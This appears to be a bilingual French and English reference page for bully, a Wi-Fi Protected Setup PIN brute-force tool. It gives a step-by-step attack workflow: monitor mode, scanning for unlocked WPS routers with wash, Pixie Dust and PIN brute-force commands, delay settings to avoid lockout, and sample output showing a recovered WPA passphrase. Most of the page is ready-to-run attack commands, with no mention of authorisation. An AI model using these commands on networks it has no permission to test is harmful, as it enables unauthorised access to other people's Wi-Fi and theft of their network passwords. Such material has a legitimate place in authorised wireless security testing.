bully

Outil de brute-force WPS. Attaque le PIN Wi-Fi Protected Setup (WPS) pour récupérer les passphrases WPA/WPA2. Plus fiable que Reaver sur certains routeurs. WPS brute-force tool. Attacks Wi-Fi Protected Setup (WPS) PIN to recover WPA/WPA2 passphrases. More reliable than Reaver on certain routers.

↗ https://github.com/nicowillis/bully

Overview

bully is a WPS brute-force tool that implements the Pixie Dust attack and standard PIN brute-force against Wi-Fi Protected Setup (WPS). It’s often more reliable than Reaver against modern routers and has better handling of various WPS implementation quirks.

Requirements

# Put wireless card in monitor mode
airmon-ng check kill
airmon-ng start wlan0
# → interface becomes wlan0mon

Find WPS-enabled networks

wash -i wlan0mon

→ Look for networks with WPS=Yes and Lck=No (not locked)

Basic Usage

Pixie Dust attack (fastest - often completes in seconds)

bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID" -d

Standard WPS PIN brute-force

bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID"

Specify channel

bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID" -c 6

Start from a specific PIN

bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID" -p 12345670

Pixie Dust Attack

The Pixie Dust attack exploits weak randomness in some WPS implementations It can crack the WPS PIN offline in seconds (compared to hours for brute-force)

bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -d
# Combined with pixiewps tool for some routers:
# bully handles the WPS exchange and passes to pixiewps for offline cracking

Timing and Delays

Add delay between attempts (avoid WPS lockout)

bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -T 5

Timeout per attempt

bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -t 30

Number of receive timeouts before giving up

bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -r 10

Associate timeout

bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -a 30

Scanning for WPS Targets

Scan with wash to find WPS-enabled APs

wash -i wlan0mon
# Output:
# BSSID              Ch  dBm  WPS  Lck  ESSID
# AA:BB:CC:DD:EE:FF   6  -65  2.0  No   HomeNetwork

# Lck=No means WPS is not locked — can attempt attack
# Lck=Yes means WPS has been locked (usually after many failed attempts)

Full Workflow

# Step 1: Enable monitor mode
airmon-ng check kill
airmon-ng start wlan0

Step 2: Find WPS-enabled targets

wash -i wlan0mon

Step 3: Try Pixie Dust attack first (fast)

bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "TargetSSID" -c 6 -d

Step 4: If Pixie Dust fails, try PIN brute-force

bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "TargetSSID" -c 6
# Step 5: When WPS PIN is found, bully shows WPA passphrase
# [+] WPS pin: 12345670
# [+] WPA PSK: "YourWiFiPassword"

Tips

  • Pixie Dust is much faster than full brute-force — always try it first
  • WPS lockout (Lck=Yes) means the AP has temporarily or permanently disabled WPS after failed attempts
  • Some APs use virtual re-registration lock and reset after a few minutes
  • bully tends to work better than Reaver on Broadcom-based routers
Help / Man page
bully <interface> [options]

-b BSSID      Target BSSID (required)
-e SSID       Target SSID (required)
-c CHANNEL    Channel (1-14)
-p PIN        Starting PIN
-d            Pixie Dust attack mode
-T TIMEOUT    Seconds between attempts (default: 1.0)
-t TIMEOUT    Association timeout
-a TIMEOUT    Response timeout
-r N          Max receive timeouts
-v N          Verbosity (0-3)
-o FILE       Output file (stores pin and passphrase)

Vue d’ensemble

bully est un outil de brute-force WPS qui implémente l’attaque Pixie Dust et le brute-force de PIN standard contre le Wi-Fi Protected Setup (WPS). Il est souvent plus fiable que Reaver contre les routeurs modernes et gère mieux les diverses particularités d’implémentation du WPS.

Prérequis

# Passer la carte sans fil en mode monitor
airmon-ng check kill
airmon-ng start wlan0
# → l'interface devient wlan0mon
# Trouver les réseaux avec WPS activé
wash -i wlan0mon
# → Cherchez les réseaux avec WPS=Yes et Lck=No (non verrouillé)

Utilisation de base

# Attaque Pixie Dust (la plus rapide, se termine souvent en quelques secondes)
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID" -d

# Brute-force de PIN WPS standard
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID"

# Spécifier le canal
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID" -c 6

# Démarrer à un PIN précis
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "NetworkSSID" -p 12345670

Attaque Pixie Dust

L’attaque Pixie Dust exploite la faiblesse de l’aléatoire dans certaines implémentations WPS. Elle peut cracker le PIN WPS hors ligne en quelques secondes (comparé à des heures pour le brute-force).

bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -d
# Combinée avec l'outil pixiewps pour certains routeurs :
# bully gère l'échange WPS et le passe à pixiewps pour le crack hors ligne

Timing et délais

# Ajouter un délai entre les tentatives (éviter le verrouillage WPS)
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -T 5

# Timeout par tentative
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -t 30

# Nombre de timeouts de réception avant d'abandonner
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -r 10

# Timeout d'association
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -a 30

Scanner les cibles WPS

# Scanner avec wash pour trouver les AP avec WPS activé
wash -i wlan0mon
# Sortie :
# BSSID              Ch  dBm  WPS  Lck  ESSID
# AA:BB:CC:DD:EE:FF   6  -65  2.0  No   HomeNetwork

# Lck=No signifie que le WPS n'est pas verrouillé : l'attaque est possible
# Lck=Yes signifie que le WPS a été verrouillé (souvent après de nombreux échecs)

Workflow complet

# Étape 1 : activer le mode monitor
airmon-ng check kill
airmon-ng start wlan0

# Étape 2 : trouver les cibles avec WPS activé
wash -i wlan0mon

# Étape 3 : essayer d'abord l'attaque Pixie Dust (rapide)
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "TargetSSID" -c 6 -d

# Étape 4 : si Pixie Dust échoue, essayer le brute-force de PIN
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "TargetSSID" -c 6

# Étape 5 : quand le PIN WPS est trouvé, bully affiche la passphrase WPA
# [+] WPS pin: 12345670
# [+] WPA PSK: "YourWiFiPassword"

Conseils

  • Pixie Dust est bien plus rapide qu’un brute-force complet : essayez-le toujours en premier
  • Le verrouillage WPS (Lck=Yes) signifie que l’AP a désactivé le WPS temporairement ou définitivement après des échecs
  • Certains AP utilisent un verrou de ré-enregistrement virtuel et se réinitialisent après quelques minutes
  • bully a tendance à mieux fonctionner que Reaver sur les routeurs à base de Broadcom
Aide / Page de manuel
bully <interface> [options]

-b BSSID      Target BSSID (required)
-e SSID       Target SSID (required)
-c CHANNEL    Channel (1-14)
-p PIN        Starting PIN
-d            Pixie Dust attack mode
-T TIMEOUT    Seconds between attempts (default: 1.0)
-t TIMEOUT    Association timeout
-a TIMEOUT    Response timeout
-r N          Max receive timeouts
-v N          Verbosity (0-3)
-o FILE       Output file (stores pin and passphrase)